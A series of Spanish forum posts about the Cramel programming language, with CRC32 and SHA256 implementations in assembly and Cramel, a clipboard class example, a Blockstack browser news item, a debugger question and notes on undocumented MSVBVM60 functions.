          0xA1D1937E,0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,\
          0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,0x316E8EEF,\
          0x4669BE79,0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,0xCC0C7795,0xBB0B4703,\
          0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,0x2BB45A92,0x5CB36A04,0xC2D7FFA7,\
          0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D,0x9B64C2B0,0xEC63F226,0x756AA39C,0x26D930A,\
          0x9C0906A9,0xEB0E363F,0x72076785,0x5005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,\
          0xCB61B38,0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0xBDBDF21,0x86D3D2D4,0xF1D4E242,\
          0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,\
          0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,0x616BFFD3,0x166CCF45,\
          0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,0xA7672661,0xD06016F7,0x4969474D,\
          0x3E6E77DB,0xAED16A4A,0xD9D65ADC,0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,\
          0x47B2CF7F,0x30B5FFE9,0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,\
          0xCDD70693,0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,\
          0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D

          dd 10
          Parámetro1 db 'Hola Mundo',0
.code
start:
      push Parámetro1
      call pCRC32
      ; A PARTIR DE ACÁ, EAX = 22436ed2h
      push 0
      call [ExitProcess]

; El parámetro a establecer debe contener la longitud de la cadena en sus primeros 4 bytes.

proc pCRC32 Texto:DWORD
     local CRC dd -1
     local i dd 0
     local Temp1 dd ?
     local Temp2 dd ?
     mov ecx,DWORD[Texto]
     mov ecx,DWORD[ecx-4]
     mov ebx,256 ; Inicializamos EBX con 256.
.Contar1:
     cmp DWORD[i],ecx
     je .Seguir1
     cmp DWORD[CRC],-1
     jne .SiNo1 ; Si no es menor a cero.
.Si1: ; Etiqueta de decoración.
     ; Temp1 = (((CRC And &7FFFFFFF) \ 256) Or &800000) And &FFFFFF
     mov eax,DWORD[CRC]
     and eax,0x7FFFFFFF
     xor edx,edx
     div ebx
     or eax,0x800000
     and eax,0xFFFFFF
     mov DWORD[Temp1],eax
     jmp .FinSi1
.SiNo1:
     ; Temp1 = (CRC \ 256) And &FFFFFF
     mov eax,DWORD[CRC]
     xor edx,edx
     div ebx
     and eax,0xFFFFFF
     mov DWORD[Temp1],eax
.FinSi1:
     ; CRC = Temp1 Xor (TLookup[(CRC Xor bArray[i]) And &FF])
     mov edi,DWORD[Texto]
     add edi,DWORD[i]
     mov eax,DWORD[CRC]
     xor al,BYTE[edi]
     movzx eax,al
     mov edi,4
     mul edi
     lea edi,[TLookup]
     add edi,eax
     mov eax,DWORD[Temp1]
     xor eax,DWORD[edi]
     mov DWORD[CRC],eax
     inc DWORD[i]
     jmp .Contar1
.Seguir1:
     mov eax,DWORD[CRC]
     xor eax,0xFFFFFFFF
     ret
endp

.end start

#11
Otros lenguajes / [Cramel] Algoritmo CRC32
Junio 10, 2017, 10:28:18 PM
El algoritmo CRC o código de redundancia cíclica es un algoritmo que permite comprobar la fiabilidad y la no alteración de datos, en software se utiliza para comprobar si existe corrupción de datos.

Les dejo acá una implementación en Cramel.

Código: php
Importar "Cramel.cml"

Clase CRC32,TLookup[256]:Entero

    Constructor:Inicializar

    Proc Inicializar
        TLookup[0] = &0
        TLookup[1] = &77073096
        TLookup[2] = &EE0E612C
        TLookup[3] = &990951BA
        TLookup[4] = &76DC419
        TLookup[5] = &706AF48F
        TLookup[6] = &E963A535
        TLookup[7] = &9E6495A3
        TLookup[8] = &EDB8832
        TLookup[9] = &79DCB8A4
        TLookup[10] = &E0D5E91E
        TLookup[11] = &97D2D988
        TLookup[12] = &9B64C2B
        TLookup[13] = &7EB17CBD
        TLookup[14] = &E7B82D07
        TLookup[15] = &90BF1D91
        TLookup[16] = &1DB71064
        TLookup[17] = &6AB020F2
        TLookup[18] = &F3B97148
        TLookup[19] = &84BE41DE
        TLookup[20] = &1ADAD47D
        TLookup[21] = &6DDDE4EB
        TLookup[22] = &F4D4B551
        TLookup[23] = &83D385C7
        TLookup[24] = &136C9856
        TLookup[25] = &646BA8C0
        TLookup[26] = &FD62F97A
        TLookup[27] = &8A65C9EC
        TLookup[28] = &14015C4F
        TLookup[29] = &63066CD9
        TLookup[30] = &FA0F3D63
        TLookup[31] = &8D080DF5
        TLookup[32] = &3B6E20C8
        TLookup[33] = &4C69105E
        TLookup[34] = &D56041E4
        TLookup[35] = &A2677172
        TLookup[36] = &3C03E4D1
        TLookup[37] = &4B04D447
        TLookup[38] = &D20D85FD
        TLookup[39] = &A50AB56B
        TLookup[40] = &35B5A8FA
        TLookup[41] = &42B2986C
        TLookup[42] = &DBBBC9D6
        TLookup[43] = &ACBCF940
        TLookup[44] = &32D86CE3
        TLookup[45] = &45DF5C75
        TLookup[46] = &DCD60DCF
        TLookup[47] = &ABD13D59
        TLookup[48] = &26D930AC
        TLookup[49] = &51DE003A
        TLookup[50] = &C8D75180
        TLookup[51] = &BFD06116
        TLookup[52] = &21B4F4B5
        TLookup[53] = &56B3C423
        TLookup[54] = &CFBA9599
        TLookup[55] = &B8BDA50F
        TLookup[56] = &2802B89E
        TLookup[57] = &5F058808
        TLookup[58] = &C60CD9B2
        TLookup[59] = &B10BE924
        TLookup[60] = &2F6F7C87
        TLookup[61] = &58684C11
        TLookup[62] = &C1611DAB
        TLookup[63] = &B6662D3D
        TLookup[64] = &76DC4190
        TLookup[65] = &1DB7106
        TLookup[66] = &98D220BC
        TLookup[67] = &EFD5102A
        TLookup[68] = &71B18589
        TLookup[69] = &6B6B51F
        TLookup[70] = &9FBFE4A5
        TLookup[71] = &E8B8D433
        TLookup[72] = &7807C9A2
        TLookup[73] = &F00F934
        TLookup[74] = &9609A88E
        TLookup[75] = &E10E9818
        TLookup[76] = &7F6A0DBB
        TLookup[77] = &86D3D2D
        TLookup[78] = &91646C97
        TLookup[79] = &E6635C01
        TLookup[80] = &6B6B51F4
        TLookup[81] = &1C6C6162
        TLookup[82] = &856530D8
        TLookup[83] = &F262004E
        TLookup[84] = &6C0695ED
        TLookup[85] = &1B01A57B
        TLookup[86] = &8208F4C1
        TLookup[87] = &F50FC457
        TLookup[88] = &65B0D9C6
        TLookup[89] = &12B7E950
        TLookup[90] = &8BBEB8EA
        TLookup[91] = &FCB9887C
        TLookup[92] = &62DD1DDF
        TLookup[93] = &15DA2D49
        TLookup[94] = &8CD37CF3
        TLookup[95] = &FBD44C65
        TLookup[96] = &4DB26158
        TLookup[97] = &3AB551CE
        TLookup[98] = &A3BC0074
        TLookup[99] = &D4BB30E2
        TLookup[100] = &4ADFA541
        TLookup[101] = &3DD895D7
        TLookup[102] = &A4D1C46D
        TLookup[103] = &D3D6F4FB
        TLookup[104] = &4369E96A
        TLookup[105] = &346ED9FC
        TLookup[106] = &AD678846
        TLookup[107] = &DA60B8D0
        TLookup[108] = &44042D73
        TLookup[109] = &33031DE5
        TLookup[110] = &AA0A4C5F
        TLookup[111] = &DD0D7CC9
        TLookup[112] = &5005713C
        TLookup[113] = &270241AA
        TLookup[114] = &BE0B1010
        TLookup[115] = &C90C2086
        TLookup[116] = &5768B525
        TLookup[117] = &206F85B3
        TLookup[118] = &B966D409
        TLookup[119] = &CE61E49F
        TLookup[120] = &5EDEF90E
        TLookup[121] = &29D9C998
        TLookup[122] = &B0D09822
        TLookup[123] = &C7D7A8B4
        TLookup[124] = &59B33D17
        TLookup[125] = &2EB40D81
        TLookup[126] = &B7BD5C3B
        TLookup[127] = &C0BA6CAD
        TLookup[128] = &EDB88320
        TLookup[129] = &9ABFB3B6
        TLookup[130] = &3B6E20C
        TLookup[131] = &74B1D29A
        TLookup[132] = &EAD54739
        TLookup[133] = &9DD277AF
        TLookup[134] = &4DB2615
        TLookup[135] = &73DC1683
        TLookup[136] = &E3630B12
        TLookup[137] = &94643B84
        TLookup[138] = &D6D6A3E
        TLookup[139] = &7A6A5AA8
        TLookup[140] = &E40ECF0B
        TLookup[141] = &9309FF9D
        TLookup[142] = &A00AE27
        TLookup[143] = &7D079EB1
        TLookup[144] = &F00F9344
        TLookup[145] = &8708A3D2
        TLookup[146] = &1E01F268
        TLookup[147] = &6906C2FE
        TLookup[148] = &F762575D
        TLookup[149] = &806567CB
        TLookup[150] = &196C3671
        TLookup[151] = &6E6B06E7
        TLookup[152] = &FED41B76
        TLookup[153] = &89D32BE0
        TLookup[154] = &10DA7A5A
        TLookup[155] = &67DD4ACC
        TLookup[156] = &F9B9DF6F
        TLookup[157] = &8EBEEFF9
        TLookup[158] = &17B7BE43
        TLookup[159] = &60B08ED5
        TLookup[160] = &D6D6A3E8
        TLookup[161] = &A1D1937E
        TLookup[162] = &38D8C2C4
        TLookup[163] = &4FDFF252
        TLookup[164] = &D1BB67F1
        TLookup[165] = &A6BC5767
        TLookup[166] = &3FB506DD
        TLookup[167] = &48B2364B
        TLookup[168] = &D80D2BDA
        TLookup[169] = &AF0A1B4C
        TLookup[170] = &36034AF6
        TLookup[171] = &41047A60
        TLookup[172] = &DF60EFC3
        TLookup[173] = &A867DF55
        TLookup[174] = &316E8EEF
        TLookup[175] = &4669BE79
        TLookup[176] = &CB61B38C
        TLookup[177] = &BC66831A
        TLookup[178] = &256FD2A0
        TLookup[179] = &5268E236
        TLookup[180] = &CC0C7795
        TLookup[181] = &BB0B4703
        TLookup[182] = &220216B9
        TLookup[183] = &5505262F
        TLookup[184] = &C5BA3BBE
        TLookup[185] = &B2BD0B28
        TLookup[186] = &2BB45A92
        TLookup[187] = &5CB36A04
        TLookup[188] = &C2D7FFA7
        TLookup[189] = &B5D0CF31
        TLookup[190] = &2CD99E8B
        TLookup[191] = &5BDEAE1D
        TLookup[192] = &9B64C2B0
        TLookup[193] = &EC63F226
        TLookup[194] = &756AA39C
        TLookup[195] = &26D930A
        TLookup[196] = &9C0906A9
        TLookup[197] = &EB0E363F
        TLookup[198] = &72076785
        TLookup[199] = &5005713
        TLookup[200] = &95BF4A82
        TLookup[201] = &E2B87A14
        TLookup[202] = &7BB12BAE
        TLookup[203] = &CB61B38
        TLookup[204] = &92D28E9B
        TLookup[205] = &E5D5BE0D
        TLookup[206] = &7CDCEFB7
        TLookup[207] = &BDBDF21
        TLookup[208] = &86D3D2D4
        TLookup[209] = &F1D4E242
        TLookup[210] = &68DDB3F8
        TLookup[211] = &1FDA836E
        TLookup[212] = &81BE16CD
        TLookup[213] = &F6B9265B
        TLookup[214] = &6FB077E1
        TLookup[215] = &18B74777
        TLookup[216] = &88085AE6
        TLookup[217] = &FF0F6A70
        TLookup[218] = &66063BCA
        TLookup[219] = &11010B5C
        TLookup[220] = &8F659EFF
        TLookup[221] = &F862AE69
        TLookup[222] = &616BFFD3
        TLookup[223] = &166CCF45
        TLookup[224] = &A00AE278
        TLookup[225] = &D70DD2EE
        TLookup[226] = &4E048354
        TLookup[227] = &3903B3C2
        TLookup[228] = &A7672661
        TLookup[229] = &D06016F7
        TLookup[230] = &4969474D
        TLookup[231] = &3E6E77DB
        TLookup[232] = &AED16A4A
        TLookup[233] = &D9D65ADC
        TLookup[234] = &40DF0B66
        TLookup[235] = &37D83BF0
        TLookup[236] = &A9BCAE53
        TLookup[237] = &DEBB9EC5
        TLookup[238] = &47B2CF7F
        TLookup[239] = &30B5FFE9
        TLookup[240] = &BDBDF21C
        TLookup[241] = &CABAC28A
        TLookup[242] = &53B39330
        TLookup[243] = &24B4A3A6
        TLookup[244] = &BAD03605
        TLookup[245] = &CDD70693
        TLookup[246] = &54DE5729
        TLookup[247] = &23D967BF
        TLookup[248] = &B3667A2E
        TLookup[249] = &C4614AB8
        TLookup[250] = &5D681B02
        TLookup[251] = &2A6F2B94
        TLookup[252] = &B40BBE37
        TLookup[253] = &C30C8EA1
        TLookup[254] = &5A05DF1B
        TLookup[255] = &2D02EF8D
    FinProc

    Proc CalcularCRC32(Referencia Fuente:Cadena):Cadena
        Var CRC,i,Temp1:Entero,bArray[]:Byte
        bArray = CadAMatByte(Fuente)
        CRC = -1
        Contar i a &bArray-1
            Si CRC < 0 Entonces
                Temp1 = (((CRC And &7FFFFFFF) \ 256) Or &800000) And &FFFFFF
            SiNo
                Temp1 = (CRC \ 256) And &FFFFFF
            FinSi
            CRC = Temp1 Xor (TLookup[(CRC Xor bArray[i]) And &FF])
        Seguir
        CRC = CRC Xor &FFFFFFFF
        Resultado = EntCad(CRC,16)
    FinProc

FinClase

Var Objeto:CRC32

Crear Objeto

    Mensaje(Objeto.CalcularCRC32("Hola Mundo"))
   
Destruir Objeto
#12

La tecnología Blockchain parecía exclusivamente vinculada a los Bitcoin hasta que otras empresas han empezado a ver su potencial para la distribución digital de contenido. Tenemos muchos ejemplos en cadenas de supermercados o empresas de transporte, aunque hasta la fecha no teníamos constancia de su uso en los navegadores. Al menos eso acaba de cambiar. Os presentamos Blockstack, nuevo navegador descentralizado que usa la tecnología del Bitcoin.

Una startup de nombre Blockstack, igual que el navegador (o, mejor dicho, la extensión para crear un navegador descentralizado), utiliza la tecnología Blockchain para su navegador descentralizado que utiliza la infraestructura existente de Internet. Podemos decir que se trata de algo similar a Project Maelstrom, el navegador descentralizado de BitTorrent que ofrece navegación segura sin espías ni intermediarios.

Como sabemos, Internet es un lugar muy centralizado donde casi toda la red se encuentra "almacenada" en unos pocos centros de datos controlados por los gigantes de este negocio. Esto se puso de manifiesto con el ataque DDoS a gran escala de finales del pasado año, donde medio mundo se quedó sin acceso a los principales servicios o tuvo muchos problemas para acceder con normalidad.

Por ello, muchas empresas quieren crear una forma descentralizada de acceder a Internet, con un nuevo concepto de red donde seamos más libres, además de que todo "suceda" en un entorno más seguro. Y ahí entra en juego Blockstack. La startup quiere crear un nuevo Internet donde seamos los dueños de los datos y que gestionemos nuestras propias aplicaciones.

De esta forma, nuestra privacidad estará garantizada y todas las transacciones se realizarán de forma segura, tal y como sucede con el Bitcoin. El control y monopolio de las grandes empresas quedará en algo del pasado (si es que consiguen triunfar). Este nuevo concepto de navegador llega en forma de extensión para Chrome o Firefox.

Toda la información está en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Se han invertido un total de 5 millones de dólares para crear una completa plataforma para el desarrollo de aplicaciones descentralizadas. Por ahora, solo funciona en Linux o macOS, aunque pronto llegará el desarrollo que permite utilizarlo en Windows. Por el momento, todo está pensado para desarrolladores, pero se espera una versión para usuarios finales dentro de unos 6 meses.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#13
Otros lenguajes / [Cramel] Nueva versión + Ejemplo
Mayo 17, 2017, 09:01:55 AM



Bueno, me alegra informarles hoy que ya esta disponible la versión de Cramel para su uso.

Ahora Cramel le ofrece las siguientes nuevas características:


  • Programación orientada a objetos.
  • Compatibilidad con sistemas de 64 bits.
  • Capacidad para establecer procedimientos y variables como púbicas o privadas.
  • Mayor estabilidad de los ejecutables.
  • Aumento en la velocidad de compilación.
  • Nuevos operadores.

A continuación un pequeño ejemplo:

Código: php
Importar "Cramel.cml"

API BuffLen(lpBuff:Entero):Entero,"Kernel32" "lstrlen"
API CopyStrToBuff(lpDst:Entero,lpStr:Cadena):Entero, "Kernel32" "lstrcpy"
API CopyBuffToStr(lpDst:Cadena,lpSrc:Entero):Entero, "Kernel32" "lstrcpy"
API GlobalLock(hMem:Entero):Entero, "Kernel32"
API GlobalUnlock(hMem:Entero):Entero, "Kernel32"
API GlobalAlloc(uFlags,dwBytes:Entero):Entero, "Kernel32"

Const CF_TEXT = 1
Const GMEM_MOVEABLE = &0002

Clase cmlPortapapeles
    'Procs privados
    Sección Privada
        Proc GetTexto():Cadena
            Var hMem,Ptr:Entero
            Si (Neg OpenClipboard(0)) Entonces Salir
            hMem=GetClipboardData(CF_TEXT)
            Si (hMem=0) Entonces Salir
            Ptr=GlobalLock(hMem)
            Resultado = Espacio(BuffLen(Ptr))
            CopyBuffToStr(Resultado,Ptr)
            GlobalUnlock(Ptr)
            Si (Neg CloseClipboard) Entonces Salir
        FinProc
        Proc SetTexto(Val:Cadena)
            Var hMem,Length,Ptr:Entero
            Si (Neg OpenClipboard(0)) Entonces Salir
            Length=CadLong(Val)+2
            hMem=GlobalAlloc(GMEM_MOVEABLE,Length)
            Ptr=GlobalLock(hMem)
            CopyStrToBuff(Ptr,Val)
            SetClipboardData(CF_TEXT,hMem)
            GlobalUnlock(Ptr)
            Si (Neg CloseClipboard) Entonces Salir
        FinProc
    Sección Pública
        'Procs públicos
        Proc Vaciar:Booleano
            Si (Neg OpenClipboard(0)) Entonces Salir
            Devolver EmptyClipboard()
            Si (Neg CloseClipboard) Entonces Salir
        FinProc
        Proc EsValido(Formato:Entero):Booleano
            Devolver IsClipboardFormatAvailable(Formato)
        FinProc
        'Props públicos
        Prop Texto:Cadena
            Lectura:GetTexto
            Escritura:SetTexto
        FinProp
FinClase

' Código de ejemplo.

Var Objeto:pscClip

Crear Objeto

Objeto.Vaciar
Objeto.Texto = "Cramel es un lenguaje de programación increible
muy simple y altamente potente."

Destruir Objeto


Diferencias con el compilador anterior:


  • Ahora las variables de cadena pasadas como argumentos por valor no son copiadas.
  • Los parámetros por referencia trabajan igual para procedimientos y apis (lo correcto para apis es pasarlas por valor).
  • Las cadenas pueden ser multilínea.

Para descargar Cramel haga clic No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Que lo disfruten!
#14
Otros lenguajes / Algoritmo SHA256
Febrero 25, 2017, 06:56:08 AM
Hace un par de días me interesó traducir el algoritmo SHA256 (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) a Cramel para demostrar su potencia, así que acá les dejo el algoritmo.

Código: text
Importar "Cramel.cml"

Var m_lOnBits[31]:Entero
Var SHA_K[64]:Entero

Const BITS_TO_A_BYTE  = 8
Const BYTES_TO_A_WORD = 4
Const BITS_TO_A_WORD  = 32

Proc InicializarSHA256
    m_lOnBits[0] = 1            ' 00000000000000000000000000000001
    m_lOnBits[1] = 3            ' 00000000000000000000000000000011
    m_lOnBits[2] = 7            ' 00000000000000000000000000000111
    m_lOnBits[3] = 15           ' 00000000000000000000000000001111
    m_lOnBits[4] = 31           ' 00000000000000000000000000011111
    m_lOnBits[5] = 63           ' 00000000000000000000000000111111
    m_lOnBits[6] = 127          ' 00000000000000000000000001111111
    m_lOnBits[7] = 255          ' 00000000000000000000000011111111
    m_lOnBits[8] = 511          ' 00000000000000000000000111111111
    m_lOnBits[9] = 1023         ' 00000000000000000000001111111111
    m_lOnBits[10] = 2047        ' 00000000000000000000011111111111
    m_lOnBits[11] = 4095        ' 00000000000000000000111111111111
    m_lOnBits[12] = 8191        ' 00000000000000000001111111111111
    m_lOnBits[13] = 16383       ' 00000000000000000011111111111111
    m_lOnBits[14] = 32767       ' 00000000000000000111111111111111
    m_lOnBits[15] = 65535       ' 00000000000000001111111111111111
    m_lOnBits[16] = 131071      ' 00000000000000011111111111111111
    m_lOnBits[17] = 262143      ' 00000000000000111111111111111111
    m_lOnBits[18] = 524287      ' 00000000000001111111111111111111
    m_lOnBits[19] = 1048575     ' 00000000000011111111111111111111
    m_lOnBits[20] = 2097151     ' 00000000000111111111111111111111
    m_lOnBits[21] = 4194303     ' 00000000001111111111111111111111
    m_lOnBits[22] = 8388607     ' 00000000011111111111111111111111
    m_lOnBits[23] = 16777215    ' 00000000111111111111111111111111
    m_lOnBits[24] = 33554431    ' 00000001111111111111111111111111
    m_lOnBits[25] = 67108863    ' 00000011111111111111111111111111
    m_lOnBits[26] = 134217727   ' 00000111111111111111111111111111
    m_lOnBits[27] = 268435455   ' 00001111111111111111111111111111
    m_lOnBits[28] = 536870911   ' 00011111111111111111111111111111
    m_lOnBits[29] = 1073741823  ' 00111111111111111111111111111111
    m_lOnBits[30] = 2147483647  ' 01111111111111111111111111111111
    SHA_K[0] = &428A2F98
    SHA_K[1] = &71374491
    SHA_K[2] = &B5C0FBCF
    SHA_K[3] = &E9B5DBA5
    SHA_K[4] = &3956C25B
    SHA_K[5] = &59F111F1
    SHA_K[6] = &923F82A4
    SHA_K[7] = &AB1C5ED5
    SHA_K[8] = &D807AA98
    SHA_K[9] = &12835B01
    SHA_K[10] = &243185BE
    SHA_K[11] = &550C7DC3
    SHA_K[12] = &72BE5D74
    SHA_K[13] = &80DEB1FE
    SHA_K[14] = &9BDC06A7
    SHA_K[15] = &C19BF174
    SHA_K[16] = &E49B69C1
    SHA_K[17] = &EFBE4786
    SHA_K[18] = &FC19DC6
    SHA_K[19] = &240CA1CC
    SHA_K[20] = &2DE92C6F
    SHA_K[21] = &4A7484AA
    SHA_K[22] = &5CB0A9DC
    SHA_K[23] = &76F988DA
    SHA_K[24] = &983E5152
    SHA_K[25] = &A831C66D
    SHA_K[26] = &B00327C8
    SHA_K[27] = &BF597FC7
    SHA_K[28] = &C6E00BF3
    SHA_K[29] = &D5A79147
    SHA_K[30] = &6CA6351
    SHA_K[31] = &14292967
    SHA_K[32] = &27B70A85
    SHA_K[33] = &2E1B2138
    SHA_K[34] = &4D2C6DFC
    SHA_K[35] = &53380D13
    SHA_K[36] = &650A7354
    SHA_K[37] = &766A0ABB
    SHA_K[38] = &81C2C92E
    SHA_K[39] = &92722C85
    SHA_K[40] = &A2BFE8A1
    SHA_K[41] = &A81A664B
    SHA_K[42] = &C24B8B70
    SHA_K[43] = &C76C51A3
    SHA_K[44] = &D192E819
    SHA_K[45] = &D6990624
    SHA_K[46] = &F40E3585
    SHA_K[47] = &106AA070
    SHA_K[48] = &19A4C116
    SHA_K[49] = &1E376C08
    SHA_K[50] = &2748774C
    SHA_K[51] = &34B0BCB5
    SHA_K[52] = &391C0CB3
    SHA_K[53] = &4ED8AA4A
    SHA_K[54] = &5B9CCA4F
    SHA_K[55] = &682E6FF3
    SHA_K[56] = &748F82EE
    SHA_K[57] = &78A5636F
    SHA_K[58] = &84C87814
    SHA_K[59] = &8CC70208
    SHA_K[60] = &90BEFFFA
    SHA_K[61] = &A4506CEB
    SHA_K[62] = &BEF9A3F7
    SHA_K[63] = &C67178F2
FinProc

Proc AddUnsigned(lX,lY:Entero):Entero
    Var lX8,lY8,lX4,lY4:Entero
    lX8 = lX And &80000000
    lY8 = lY And &80000000
    lX4 = lX And &40000000
    lY4 = lY And &40000000
    Resultado = (lX And &3FFFFFFF) + (lY And &3FFFFFFF)
    Si lX4 And lY4 Entonces
        Resultado = Resultado Xor &80000000 Xor lX8 Xor lY8
    OSi lX4 Or lY4 Entonces
        Si Resultado And &40000000 Entonces
            Resultado = Resultado Xor &C0000000 Xor lX8 Xor lY8
        SiNo
            Resultado = Resultado Xor &40000000 Xor lX8 Xor lY8
        FinSi
    SiNo
        Resultado = Resultado Xor lX8 Xor lY8
    FinSi
FinProc
       
Proc Ch(X,Y,Z:Entero):Entero
    Resultado = (X And Y) Xor ((Not X) And Z)

FinProc

Proc Maj(X,Y,Z:Entero):Entero
    Resultado = (X And Y) Xor (X And Z) Xor (Y And Z)
FinProc

Proc S(X,N:Entero):Entero
    Resultado = (X Shr (N And m_lOnBits[4])) Or (X Shl (32 - (N And m_lOnBits[4])))
FinProc

Proc R(X,N:Entero):Entero
    Resultado = X Shr (N And m_lOnBits[4])
FinProc

Proc Sigma0(X:Entero):Entero
    Resultado = S(X,2) Xor S(X,13) Xor S(X,22)
FinProc

Proc Sigma1(X:Entero):Entero
    Resultado = S(X,6) Xor S(X,11) Xor S(X,25)
FinProc

Proc Gamma0(X:Entero):Entero
    Resultado = S(X,7) Xor S(X,18) Xor R(X,3)
FinProc

Proc Gamma1(X:Entero):Entero
    Resultado = S(X,17) Xor S(X,19) Xor R(X,10)
FinProc

Proc ConvertToWordArray(Referencia sMessage:Cadena):Entero[]
    Var lMessageLength:Entero
    Var lNumberOfWords:Entero
    Var lBytePosition:Entero
    Var lByteCount:Entero
    Var lWordCount:Entero
    Var lByte:Entero
    Var @p:Byte
    Const MODULUS_BITS   = 512
    Const CONGRUENT_BITS = 448
    lMessageLength = CadLong(sMessage)
    lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD)
    ReDim Resultado,lNumberOfWords-1
    Mientras lByteCount < lMessageLength
        lWordCount = lByteCount \ BYTES_TO_A_WORD
        lBytePosition = (3 - (lByteCount Mod BYTES_TO_A_WORD)) * BITS_TO_A_BYTE
        p@ = sMessage@@+lByteCount
        lByte = p
        Resultado[lWordCount] = Resultado[lWordCount] Or (lByte Shl lBytePosition)
        lByteCount = lByteCount + 1
    FinMientras
    lWordCount = lByteCount \ BYTES_TO_A_WORD
    lBytePosition = (3 - (lByteCount Mod BYTES_TO_A_WORD)) * BITS_TO_A_BYTE
    Resultado[lWordCount] = Resultado[lWordCount] Or (&80 Shl lBytePosition)
    Resultado[lNumberOfWords-1] = lMessageLength Shl 3
    Resultado[lNumberOfWords-2] = lMessageLength Shr 29
FinProc

Proc AnsiASHA256(Referencia cMessage:Cadena):Cadena
    Var HASH[8]:Entero
    Var M[]:Entero
    Var W[64]:Entero
    Var a,b,c,d,e,f,g,h,i,j,T1,T2:Entero
    HASH[0] = &6A09E667
    HASH[1] = &BB67AE85
    HASH[2] = &3C6EF372
    HASH[3] = &A54FF53A
    HASH[4] = &510E527F
    HASH[5] = &9B05688C
    HASH[6] = &1F83D9AB
    HASH[7] = &5BE0CD19
    M = ConvertToWordArray(cMessage)
    Contar i a (&M) Paso 16
            Si i > &M Entonces Salir Contar
            a = HASH[0]
            b = HASH[1]
            c = HASH[2]
            d = HASH[3]
            e = HASH[4]
            f = HASH[5]
            g = HASH[6]
            h = HASH[7]
            j = 0
            Contar j a 63
                Si j < 16 Entonces
                    W[j] = M[j+i]
                SiNo
                    W[j] = AddUnsigned(AddUnsigned(AddUnsigned(Gamma1(W[j-2]),W[j-7]),Gamma0(W[j-15])),W[j - 16])
                FinSi
                T1 = AddUnsigned(AddUnsigned(AddUnsigned(AddUnsigned(h, Sigma1(e)),Ch(e, f, g)), SHA_K[j]), W[j])
                T2 = AddUnsigned(Sigma0(a),Maj(a,b,c))
                h = g
                g = f
                f = e
                e = AddUnsigned(d, T1)
                d = c
                c = b
                b = a
                a = AddUnsigned(T1, T2)
            Seguir
            HASH[0] = AddUnsigned(a, HASH[0])
            HASH[1] = AddUnsigned(b, HASH[1])
            HASH[2] = AddUnsigned(c, HASH[2])
            HASH[3] = AddUnsigned(d, HASH[3])
            HASH[4] = AddUnsigned(e, HASH[4])
            HASH[5] = AddUnsigned(f, HASH[5])
            HASH[6] = AddUnsigned(g, HASH[6])
            HASH[7] = AddUnsigned(h, HASH[7])
    Seguir
    Resultado = EntCad(HASH[0],16) + EntCad(HASH[1],16) + EntCad(HASH[2],16) + _
                EntCad(HASH[3],16) + EntCad(HASH[4],16) + EntCad(HASH[5],16) + _
                EntCad(HASH[6],16) + EntCad(HASH[7],16)
FinProc

InicializarSHA256

MessageBox(0,AnsiASHA256("abc"),"Cramel",48)


También lo pueden ver desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

¡Saludos!
#15
Buenas, estoy programando un depurador para el lenguaje de programación que desarrolle, pero no tengo la menor idea de como sincronizar el código fuente con el archivo ejecutable siendo depurado.

Hasta ahora he podido obtener salida de texto vía "OutputDebugString" y analizar los registros gracias a interrupciones Int3, pero lo que quisiera es mostrar el código fuente, obtener y escribir las variables, modificar la instrucción, entre otras cosas.

¿alguien tiene alguna idea de como se realiza este trabajo?
#16
Buenas, para aportar un poco al foro les traigo una serie de funciones indocumentadas de MSVBVM60 que logre reversear (creo que así se dice, o crackear, no se...) con OllyDbg, PeExplorer, programación y muchisima depuración.

Hasta ahora logre obtener 51 funciones, algunas ya son conocidas... otras son nuevas.
Obviamente las documente lo mejor que pude, espero que las disfruten.

Código: php
' Programador: Yuki
' Formato de cadenas: Unicode
' Estado de funciones: Indocumentadas
' Cantidad de funciones declaradas: 51
' MSBVM60 esta disponible en las versiones mas actuales de Windows.

Prototipo pDllFunctionCall(Referencia CallData:DllCallData):Entero

Privado:
        Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
        Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
Público:

Estruc DllCallData,_
       Libreria,_                    ' El nombre de la Dll.
       Función:Cadena,_       ' El nombre del procedimiento.
       Unknown1:Entero,_        ' Desconocido.
       Unknown2:Entero          ' Dirección de una variable de almacenamiento.

' #======================= Misceláneos ========================
' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena esta vacia.
' Parametros:   #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadena esta vacia, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsEmpty(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsEmpty"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena es nulo.
' Parametros:   #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadenas contiene valor nulo, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
